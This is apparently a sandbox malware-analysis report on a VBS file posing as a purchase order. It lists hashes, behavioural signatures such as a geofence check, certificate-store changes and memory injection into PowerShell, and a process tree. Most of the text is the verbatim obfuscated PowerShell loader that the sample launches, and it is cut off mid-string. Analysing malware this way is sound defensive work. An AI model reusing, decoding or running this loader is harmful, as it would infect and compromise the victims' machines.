Analysis
-
max time kernel
114s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
27-12-2022 03:01
Static task
static1
Behavioral task
behavioral1
Sample
PO#86349VGK=8WRKJF0046_REV001.vbs
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
PO#86349VGK=8WRKJF0046_REV001.vbs
Resource
win10v2004-20220901-en
General
-
Target
PO#86349VGK=8WRKJF0046_REV001.vbs
-
Size
291KB
-
MD5
f91002ce77e413acca9ee0995498c6a0
-
SHA1
8de92955b70e18485da163f42527b5dbfd7a8df9
-
SHA256
775f86f09403e354f445ddc2e0eea754dae45f990991254b5f9ad272cd7c44c5
-
SHA512
3a675b4deee348c86346c35e96aaad283a11f700817c199c49e5b7a2abc422e4f2c91a4c9f0d61a94b1a7801a1ace354a249a8648b4f9a057de067cbbb736e8e
-
SSDEEP
6144:VfuU9KAwyiMn0Lq8cJl+98PXM1lunYPs7S:4UUAwlM0JcJDSPB
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 3 4252 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
WScript.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1344 powershell.exe 1344 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1344 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 4252 wrote to memory of 1344 4252 WScript.exe powershell.exe PID 4252 wrote to memory of 1344 4252 WScript.exe powershell.exe PID 4252 wrote to memory of 1344 4252 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO#86349VGK=8WRKJF0046_REV001.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\SysWOW64\Windowspowershell\v1.0\powershell.exe"C:\Windows\SysWOW64\Windowspowershell\v1.0\powershell.exe" "$Sagtnede = """SnfKauAlnmucSltOniDioPanPo isTKhoKegFisSytSaeudwSiaNerStdDeeDrsNosdeeInnBasSo0Ne0Sv Ge{UdPKaaPrrChaMamkh(Sp`$HeSHyyFjdKolPoaConTrdVasAfkMeeTesin,Ma`$CoLLaeOsxUnimacGoaPo)Et;GarKoeFotScuGerHrnBl Pr(ge`$RuSImyRedStlDuaronAfdTrsArkEleVesAs Ly-UnbPlxLeoBerVe No`$SaLcueSaxBuiKecStaPa)Ve;Ga}InFPruUnnGrcSetAzishoPrnvi UnHVaTStBWr Va{Pe Re Na Bh PapDdaAprOracymEv(Gl[SpSRltDerPsiPsnGygSp]Dr`$SuBKluSasFjfRaoScrOpbKliKlnKadDiePslHesEmeDinJusAn)Bo;Du Sn Al Va Gi`$PieAtpJuiApsSucUnladeSurUniLatAfiPrsFo Py=Id DiNSaeGewNo-DiOBebArjInebacNotPa TrbStyUstHaeEk[Un]De Be(Ce`$NoBReuPasMafFroRarSvbDoiManJudPreKelRasIneInnInsCi.StLUneNinPrgSttEkhVa Mi/Sa Un2Fr)Ra;As Ma Me Tr EfFPaoRarPa(Mi`$elodeugatSwcRelVaiUnmAfbCy=Sk0Kl;An Ri`$MaoAruSttOtcShlCoiTamDebDe Co-SelOptDu Xe`$RaBAkuresRyfTooKnrSobEniKlnDedCreAflAnsBreSenstsSu.AsLKhetrnIngJatLihCh;Ag Mi`$SkoBeuTrtNacTolAriWimBobSt+Ta=In2Tu)Hy{Fa Sp Ca Sp Ki De Ek Ai Hu`$SpeDrpHiiAxsExcDelSoePrrKiiQutTeiBesPa[Ri`$FloBluFetBacPrlLniPomDrbFa/Un2Du]Sc gr=Ho Pi[DicStoBrnClvBoeVerOmtca]Te:Tu:SyTReoSvBHayDitbreBi(Dy`$KlBCouFrsEkfMooRerTebHoitonIsdBieSalTusBreLnnAksSo.ReSUduFobLesTitVarNoiSknVbgRd(Ou`$SuoStuFltWicMilTriAfmSkbBy,Ba Mi2Id)Om,St El1Sk6Co)Be;St Af rh`$PaeCopDriOpsCacBulVaeHurMoiQutTeikosSu[Sv`$KloUsuWhtMacFolLsiPrmRabRe/Sv2Br]Af Fe=Co PeTPeoDigLasRitPyetowReaAurDidMaeAcsRussteStnJosYn0Bu0Dy Sp`$UneTypBriAdsRecHalPreHarExiEdtBriRysTr[ac`$SioLyuNetSmcSwlSaiAfmElbSq/Fe2Re]Ls Ga2Ce2Sp2Kn;Ro Tr Ma Su Go}Bu ba[ChSSptBerPoiSunLigBa]So[PrSIbyOwsOntHeefumSu.StTWieBaxOrtOv.FoEPhnIscAsofedBoiPinMagBe]Am:Po:DeAPlSBoCMaIImIBa.KoGBaeRetPrSBrtDarSiiPunScgCo(Mu`$DeeBipSvibosErcHelBreStrAmiTutOsiVisGt)Ga;Kn}Fr`$RiFBarDdePonReeButDiiSycPoaFjlAf0Pr=StHsnTUnBKo Li'Ap8drDIdASk7UnAjeDOrAcoAGeBFoBLaBUn3FuFTa0SeBChAfoBSe2TrBGo2Po'ek;Mi`$PaFSyrMgeDenKoeFrtBuiSpcFoaKalOv1un=SmHHyTCoBUf Un'Mi9Pu3OpBWi7GlBsyDVsASmCRaBAs1FoAInDMuBDa1SkBSp8SpApaAUnFIr0Be8Co9TaBFe7inBDo0foELiDTsEAfCSuFBu0Ra8ViBHeBSt0SkABeDulBGaFSiBMe8DeBVrBEv9Pa0BoBinFOkAFeACiBMd7LaAMi8LiBHsBTr9Pr3SkBNoBUnAPrAWaBAc6ExBUn1RaBcoAPiAGrDKl'Au;He`$TrFTarBlerenWheFotRliAccDraKolSh2je=ScHCeTSiBPr pr'sl9tr9InBToBBuALeALy8SkEUdAMiCFoBTh1StBJuDSp9EdFStBBdAOpBGeATaAFoCCaBLaBSoAUnDhoAUnDFa'un;su`$MaFHorInePrnOneSktDeiSecToaPolBl3Ca=viHVaTSaBAu Ho'Pe8SvDSkAKo7LoAUnDReAliACrBPaBAfBHa3keFSk0Da8ReCPiAKrBKoBId0UgADiAStBRi7PrBAn3SeBTrBscFHa0No9ve7PlBSk0BuAUnAReBPrBNyAEdCLeBGr1StAMaEVa8NeDkoBFoBekAKoCInASu8RuBHa7UsBReDLeBtoBNuAopDImFUr0Si9Om6VeBGrFCoBAl0HiBPaAUnBBl2ReBAdBUn8CrCunBFoBMoBBe8Op'Sa;Sk`$GeFEprMaeDjnTheFstDeiOpcHaalklFo4Ta=EnHBeTChBOp es'AnADeDHaAStAGeAUnCGuBPh7DoBCl0FaBBa9Ko'Ne;So`$ObFOrrSyeOrnGreRatSiiCecBaaInlMi5hs=PrHFrTAfBSk la'Pa9Oh9TuBDeBMaAWoAhj9in3BiBSp1CeBTrAFiAHaBHeBSo2BiBHeBSt9ag6OrBInFEnBSk0PeBReAGlBto2LyBGrBHy'Un;Di`$MiFHvrFoeConSueRitAfiBecAnaTilOu6Fe=ClHSiTElBhe Tr'Pr8CoCNo8TaAAs8ShDFiAAdETiBTaBSkBdoDSkBHa7LuBUnFElBAu2An9Em0BuBTeFDiBOm3DeBUnBFoFQu2BrFMoEFo9Im6StBin7JuBPaAViBAfBCh9DuCGaAHa7Mo8BiDStBAt7StBHe9SpFRs2noFSlEar8InEBaASkBBoBGeCDiBbr2ChBWo7ErBReDDr'Me;Va`$BoFCyrMueTrnMreTetAniTrcAlawolCo7Qe=FiHDeTBuBAv Io'Be8IoCDiAMaBRoBUn0HoANoASaBke7WoBMe3ReBMaBRaFFa2SuFLgETi9Tr3RyBUdFSaBCa0DiBIlFInBDo9ReBStBBrBskARa'Do;Ud`$HjFDerAgeSonVeeDetEniAncFeaMelTh8Ak=TeHMoTKoBra Pa'By8ReCHyBInBUdBOv8SuBga2SiBCrBFuBFiDAfAOvAInBSeBLeBFaADu9RaACeBMaBprBTy2HiBMaBUsBPa9UdBFjFPnAFlABrBMaBFe'Hy;Ch`$ToFCorSteTonSeeuntMniPscSeaBalEn9Fu=BeHCoTOuBDi Bo'Ab9Ju7InBAn0Ou9Pr3FoBOlBStBHa3RyBud1BeAInCGuAOp7Ex9ha3KoBVa1UnBkeAAfAchBPjBSk2DvBErBBo'Ko;Pr`$SwVFrePnnBasFekIsaNebPeeMarCa0Ov=BeHtiTFrBPr Wo'Dd9Co3coATu7Ci9VoAOvBChBIlBSp2HaBOmBRyBMa9SvBVoFUnABlAPnBPeBTe8PoAHuAPr7UdADiELrBAmBFj'Hu;Sa`$DyVDeeSpnHasGekUtaFlbIneArrEn1So=NoHSmTSyBSm Pl'Ca9SkDGlBRa2GeBKlFInATaDReAFlDnaFDi2NoFAxEAt8ChEFoADeBAnBUdCalBCo2TmBIn7ReBHoDLiFde2AsFDiESt8UrDOcBBeBKaBimFStBMa2LaBinBbeBNoAKoFBr2erFGlENi9UnFTiBVe0NoAVeDThBOv7as9DiDLeBSv2PaBUnFKoATrDSeABaDTaFUn2BoFBiENi9GrFFaAudBEkANeADeBUn1Bo9AfDMeBDo2TeBSeFKrAEpDOfAGaDNo'Cy;Ot`$PoVPreEnnUnsOvkSuaArbSaeStrTe2Ae=MoHBiTMoBCo Ha'An9Ha7RaBSl0neAPl8BoBId1StBsk5LoBNyBfi'Lu;Re`$CoVSteUnnsvsNakBiaAsbJveUnrKo3Cr=StHTeTpaBDa Ke'Af8HuELoADoBStBamCMoBVe2BlBBe7RoBInDStFLu2RuFAtENe9Un6trBKa7TeBkuACiBFoBkl9KuCwiAwi7Al8veDEyBNo7HoBBu9BoFUd2ImFByEcl9St0AgBggBExAHe9De8CoDAlBpr2TiBBu1FrABoAApFMo2MaFAfEEm8Pe8PiBAn7AmATrCEtAMaAMeACoBShBUnFBlBGl2Ha'Br;Ti`$FrVDeePanBusGlkBeaNobSleAtrSu4Ko=KfHDeTAfBSk Pr'de8Wr8HoBSk7DoABlCbrABiABaAIsBdiBDyFHiBPa2In9GoFSiBSt2PrBSp2AfBCo1BoBOpDTr'St;un`$UnVBieDinLisGakGuaKrbUneShrSl5Ex=PrHFoTsuBBe Be'RoBOb0KaARoAReBGeASeBeu2DeBUg2Au'ph;Fr`$RaVKoeAfnSpssakOpaSmbDreAfrBr6Si=atHFlTCoBFe Ke'Pa9Be0LiAPeAaf8GaEArABlCDeBSk1TrATiATrBScBOpBPiDPiABeAAp8Hv8BoBCr7ReADkCBuAhoAThAFeBStBUlFBiBUn2Gr9Vi3SeBCyBTeBAn3DuBCh1HaAIcCLeAMa7Hu'Gr;Hy`$CoVRaePonSisblkThaStbPseUprSy7Fo=soHDeTScBNo Hn'Te9Kv7Km9NaBBe8Ga6To'Nk;Fa`$FoVWoeannMesSkkStaOrbOeeDmrDe8Ve=coHMaTEmBTe Ci'Sa8Br2Be'ho;EffHeuManFicDetGeiSioTinSa safFoktipOp Ca{spPAuaPurMoaYamSa St(Br`$beMOmespltrtsuaBabLuiFllPaiBetCayCo,un Al`$CoRChuKrnTodFetbioBasKnsEfeJatNo)Mi Pr Ge Ov no Mi;Ud`$StKViaPetAntFoenouHirHatVisDa0Br Su=NaHunTteBFi En'CyFAfAUn9Tr9CaBGuFEgBdeABeBCoBAfBTh8FlBToBDiASdDwaAIdADeFDeEViEKa3PoFBaEBrFTi6Ri8Ak5Wa9SiFafAovEStAHlEHj9LiACiBPr1KoBNo3SkBbeFVoBAn7euBAn0Fo8Po3ChEHa4UdETo4ge9BoDDrAFlBorADrCEiASoCFoBOvBheBSa0StAFlAKu9SuATrBop1AnBBo3AaBInFAfBTh7HiBFi0AlFMe0Ku9st9PoBPrBDeASoAUd9LeFPeAPeDOfAAgDCaBvaBFoBPe3PeBFoCChBHo2CoBId7inBPrBEnAHeDBeFat6AfFam7BrFPaECaAFi2AlFAkERe8He9HeBWi6AnBMeBSkAWeCSeBSrBSeFLi3Ka9Di1DoBStCBeBst4JrBByBArBAaDtoAAnAZoFThEPaAKa5StFDaEKkFVaAAf8Dr1FoFTe0Pa9Gu9EmBVi2RaBHi1PlBTvCFoBArFRoBOu2Br9deFSkACrDbrANoDTaBThBReBEt3teBInCMeBOp2CoAHa7Ko9alDKlBBuFBoBDyDUbBMi6StBToBGeFSkEFoFNa3Ko9OvFNoBhj0NoBTaASlFInEOuFPlASt8Sl1AaFBu0re9Su2KlBKe1BrBOvDDhBHjFMaAInASuBOv7TrBAm1DaBPe0ReFfr0Dr8FlDReADiESkBBr2CuBri7AfAOrAUtFin6PrFspADe8Or8SuBLaBFlBAs0MaAInDOrBFo5KoBSlFStBEnCCrBFrBHeADaCDrELi6SnFCo7Ca8Si5StFSc3TyEAfFRa8Fo3SkFAe0Ud9BuBExADeFopALsBanBPrFRiBSk2HiAErDryFRi6ObFPrAKo9Pr8ByAStCMeBBoBStBTe0TaBDaBOrATiARuBPe7VaBAfDEmBSyFPrBSe2ApEarEDeFRe7MeFDeEGoAUn3VuFFl7BeFGa0ls9St9TrBSoBCaAAnASa8SpAScAFo7SeAPrEUsBsaBMeFto6OxFHeAFa9Fa8SaASmCAgBBeBKaBFi0ViBDaBViASyAMoBPa7PoBGeDMiBAnFTaBLa2PrESiFFoFSk7Ka'Se;He&Ka(As`$FoVFoeSanResBakLiaopbToeHerSp7He)Sy Vg`$SaKMuaRetFotCoeLauYnrBetResUn0Vi;Un`$HeKXaaZotPhtTrereuPrrRetgasKo5Sa Gi=Ka PeHPoTdrBSi Ch'SiFFoAVa9En6ArBArFSkBSj2ArAMi8KoBsuBFoBKe2NrBGo7TrBGi0BlBCh9NoAReDHyFChEFrEIn3AdFAlEBaFPjAUd9Vu9CoBKuFLrBVeAGeBUnBskBRe8EnBJiBEnASpDAnAFrADrFMo0Co9Gl9PaBTaBSuASeAMe9Mi3juBMoBToAjoAFeBSt6SaBIl1DeBLaACrFFl6blFMuAOr9Og8SeABrCPrBInBSaBMe0AfBKoBSpAspAReBFo7prBMaDRaBPtFMaBTa2flEUdCkuFBu2MaFDaECo8di5Fo8CoAStAHo7BeADeEFlBScBBe8Iv5Mu8Un3Bi8Ri3CoFEsEro9ThEDoFUd6StFAnABe9Ro8DyATeCsyBBuBKoBIr0InBShBHoAHoAItBCo7SpBGiDseBHaFAlBKe2RvEFoDSlFAc2TrFToEFoFPsARo9Sc8SyASkCAuBSyBVeBVa0CeBMaBSyAMoAAnBJi7EtBDiDGrBDrFLaBge2InEtrAAcFBo7DeFUn7Bj'ti;Ko&Co(st`$HoVRseAnnHisRekDeaAfbDeeAdrSk7ca)Co Pe`$RaKHiaAltBitBleCoubarButDysEk5Un;Tr`$NiKAuaSttSktadeByuDerKotRasze1Sh De=Cy AmHGrTHaBSv Sp'ReACuCBaBGrBInACaADmAStBTeAThCGrBRe0DrFSuEDiFViAIn9Re6ArBSlFTiBRi2chASe8HeBExBBeBUd2UfBAn7auBUn0FlBCy9AaAHaDPyFOp0Um9Sj7GtBDi0HyAMi8InBLe1PaBNf5BrBbhBHaFTr6PoFprABaBBa0OvAVoBouBOm2NoBra2UnFSp2StFThECo9StEBrFUg6Fe8Ti5Ep8PiDJeAsy7ToAMiDUnACaAReBByBAnBSl3AlFAs0Lo8NaCScATyBAnBLe0deAByAHaBGe7StBTa3TaBObBLiFAn0Ri9go7unBPo0BeAHoASuBStBBlAKlCbrBFi1InAVrESt8PrDDoBMoBFoATaCInAAr8PrBAc7HoBblDHiBTiBSyAReDReFTi0Pe9Un6TeBDiFVrBDe0TaBPhAWhBSk2OvBunBDe8WrCPeBEnBPhBBo8Ud8Se3OpFFo6Pj9Fo0PiBMuBmiATo9InFSa3Fl9Ta1ViBSiCFjBBr4BuBUgBDiBEnDSnABiALeFStEAk8asDUdAMa7BlASpDSoAUnAPaBPrBAeBCe3RoFDe0Ch8deCVeASaBHiBEm0UnAStACuBKv7StBMa3AtBBiBFiFNa0Av9Si7HyBGe0AmALiASwBPsBKoAspCPrBFu1AlALeECo8FoDLaBLiBstAGuCAcAFr8DaBme7UrBAbDAcBLiBTaAPoDPeFRe0Go9Om6OiBMaFKiBSu0ReBPrAAvBRe2InBSeBEs8SuCAnBAnBPeBCh8UdFIn6DiFBr6Pr9Sk0DiBEmBPeARe9StFNo3Rd9Sa1KnBSaCEnBTu4SkBCoBBlBFoDKoABlALoFSaETr9Ud7ElBWh0EuAIlAbl8ApEAfATaAFiAMaCcrFNe7TlFCo2GeFPaEHjFAn6BeFGrAEs9Av9StBStFPiBReAOoBNeBFaBEr8unBGiBLsAMeDtoABlAFaFOr0Ga9Ra9AlBFoBAkAInABo9Ev3MiBDoBPaAKuANlBMa6UdBdi1diBUnAshFWh6DeFHuATi9Si8BaAStCMuBOpBNiBBr0ChBSpBYdAOuASkBBo7PhBDiDmaBFeFHeBAa2LaEHaBMiFUd7UdFMi7DeFlr0By9Co7ReBlo0BrARe8geBNo1laBEp5PoBKoBToFBa6ImFReASaBAu0BlATiBLiBRi2HeBUf2SnFun2OvFPuEMo9plESkFTa6FiFHrABe9Bj3ReBBoBCoBFa2LaAGrASuBSoFVaBScCPlBsu7AcBSa2SoBBe7CaAseAExALa7MaFBi7PrFFl7BiFNo7OuFPa7StFKa2OpFreEKaFWiASa8SeCGuABrBUnBUn0TiBAmALaAOpAFoBDr1ByAPrDHeAMyDmaBdeBJuAChASsFBe7BoFNo7Di'Sp;Ca&Cl(Sk`$ReVBieSknKrsFakReaInbKoeScrDe7Mu)Jo Ev`$ReKMaaUdtKrtFeeBeuSarAltSosTy1Ce;Te}OvfHyuAvnNecKetSaiSaoFonAf KeGMsDMaTEk Si{GrPMiaSkrTeaWomOr St(Co[WoPpraHirSuaSumEdePrtMieTrrNy(trPBaoDisOuiVitImiGroNdnPr Ud=Tr Ov0st,Le meMSkaSknBldInaUntSooAlrBlySc Jp=Bi Ar`$foTCarliuPreSt)Da]ox sk[PaTPtyTrpRgeSk[As]Fi]Sa Po`$poUHonIrdPreSarMibFleArfNeoEmlKvksunRsiFlnFrgSa,Ri[BePGyaOmrUnaMnmDieOztReeMirDe(HvPDeoLisDeiSutSuiChobinRe Lo=Ud Tr1Wi)Co]Ru Ve[RuTUnystpSteOv]Po Vi`$EoKSkaKalTokVikMouAnlMeeFirovnVeeDu Ha=Ph Hy[TaVBeoSmiPadPu]Fo)Da;Lu`$ToKMtaBrtMetUneDeuCrrTetBisme2br Sk=Sk syHSkTEtBAd Vo'UnFSkAGa9un3BuBHy7SeBbe0raBHo7SkBSi1elBFo0PrBEp2slAUn7MiFStETaEGy3IbFAlEJa8St5Mo9PaFEcASkERaAisEma9EnADoBMi1DoBSo3LoBcoFSkBKo7FeBCo0Ga8to3BrETe4StEIn4Mu9PoDshAUnBTrAStCPsAWiCBuBUnBIdBCo0DiAMeAGo9CoAgeBMa1NoBPr3LsBOmFSvBJi7NuBAl0HaFSe0Re9InAReBVaBKuBBo8SnBNa7BaBAd0DyBMaBSk9UlAThAsv7NyBRe0CoBprFFoBEc3AdBSp7PaBUnDOv9BuFBlATeDAdABaDPrBPrBSkBFa3ByBRdCScBNo2FrAHi7RoFSp6FoFHi6Ap9Ar0EpBbeBFrAGy9PiFHo3Sp9Pl1SlBLiCFjBpo4CoBDeBSpBRuDUnAPrAPrFPhETh8ToDClAUn7PaAVeDVoAGgAUdBDeBInBAr3HaFDe0Ho8BlCAaBDeBExBHi8AfBAr2FaBmiBkiBliDReAChAKlBOu7ThBNo1koBdr0PiFHj0Ty9AdFOvATaDAeAAnDOrBLyBUdBFo3ToBAgCSpBRo2poAOr7In9St0KoBReFDoBTi3reBSeBSeFSa6prFSkAHj9Ka8EgAAdCBaBSyBPlBNo0RiBBrBGrASrABrBVa7nsBToDPeBSkFApBGl2HyELe6OuFNu7MoFPh7LaFFe2SeFElEDu8Do5as8PoDKvABe7huAFuDUnAJuAFoBFiBFiBFe3LoFUd0Fo8noCBaBDeBSkBCh8DeBCa2DaBToBNoBHyDKaAMuAFlBSp7KrBUs1TiBSe0ViFBl0ov9FaBNoBJa3EgBEn7CaAwaAskFSt0Se9BiFKrAKnDPsAHaDsaBDiBBaBFe3FrBApCSaBDr2MaASi7Pt9UnCEdASaBPrBUn7EnBSc2TjBSaAAgBWeBHiALeCmi9HeFNuBReDSrBEkDCeBAzBDoADeDFuAYoDAk8Si3PhELo4FrEFl4Af8ErCUnABrBPrBSk0NoFAf7ReFHy0Fo9MeAOpBSuBMaBEn8PhBLr7MiBPe0GeBSmBGu9ChACeAMu7TrBBa0GaBReFSkBPe3SlBFe7KoBFaDPa9di3FoBAk1TuBRuAraAImBDoBFa2FiBOnBBaFtu6kaFVeATr9Ho8BiASeCJaBUdBFlBOm0PrBNuBToATiABrBhi7HyBNoDNoBBeFLaBIr2KoETa7ThFUn2TvFFeEOvFtsASrBDe8DrBSyFStBPa2ArALeDUnBViBSjFBa7AnFOr0hu9deAStBbrBUdBUl8PoBIn7ViBHy0RiBFoBDi8teABrAPa7coADrEAbBFeBSkFKi6ToFRyAIs8Gu8KuBfeBPlBUt0PhACrDFaBMi5SpBClFVeBCoCLiBPaBImAUnCPaEAlEMoFTr2ClFRuEGnFSuAHu8Un8DiBStBprBIs0StASkDKnBna5SaBEvFodBBrCTuBCuBSeASyCUnEthFKoFSa2SeFTaEMi8In5Ad8ovDFaAHu7PeAViDTuACoAanBFoBSkBFu3BrFDo0Un9Up3MeAObBSpBTa2SvABoATeBCh7BoBSpDFaBAnFSfAUnDSoATrAAf9ThAUdBSoBMuBMe2SeBGeBDoBTr9kaBBeFBeAAcAGyBPrBTe8wa3AnFMy7Em'Al;Hu&un(op`$TeVAfeTnnHusVekudaBebPaeDarHa7Co)Sp fl`$AsKCoaPotOvtUneNiuIdrMetgisOn2Dy;Ud`$DiKSvaFetHotsieFouWarJatKasCh3Ka Be=Da IeHTuTShBAn St'SiFAnATa9Fe3JaBek7TiBVu0PaBBy7ScBTr1BfBBr0UnBDi2KaAUn7AfFSm0Le9CoAKlBPaBgeBTv8DeBPr7StBMi0RaBFuBMa9BaDImBNu1SpBUn0ScASyDtrAKlAIrAIrCKuABaBOrBMiDBlAWaAStBHy1HiAKbCNiFBi6CoFtrANo9Ku8AnAVaCImBCrBLaBRo0TrBSyBAgAElATeBDr7OvBLsDkuBArFSaBLa2NoEBa8DuFGr2EpFApESc8St5Po8PyDVeAAl7ApAprDUnAApASuBNaBDiBMa3MoFAb0Na8VaCIsBloBSkBTi8FoBFl2GiBBoBBrBTeDDeABlAInBBe7UnBOv1InBMe0BaFMi0Hj9CyDSeBFrFAgBDa2SiBda2psBsp7VeBSu0ReBRo9Gu9EmDSlBSi1UdBan0BrAhe8ViBCaBStBSn0PeASaAdrBRi7KiBfr1EtBPl0CrAOvDLs8He3LaESo4DiEAl4So8TuDNuADeAUnBSaFSeBMi0PoBDiAInBInFChAleCEkBDeAPoFAn2inFSoEAbFPoASa8SiBTaBOu0AsBMyAFrBNoBteAViCBeBSpCKoBDrBTeBNo8BeBAf1FoBTr2HeBCh5OvBRr0buBYa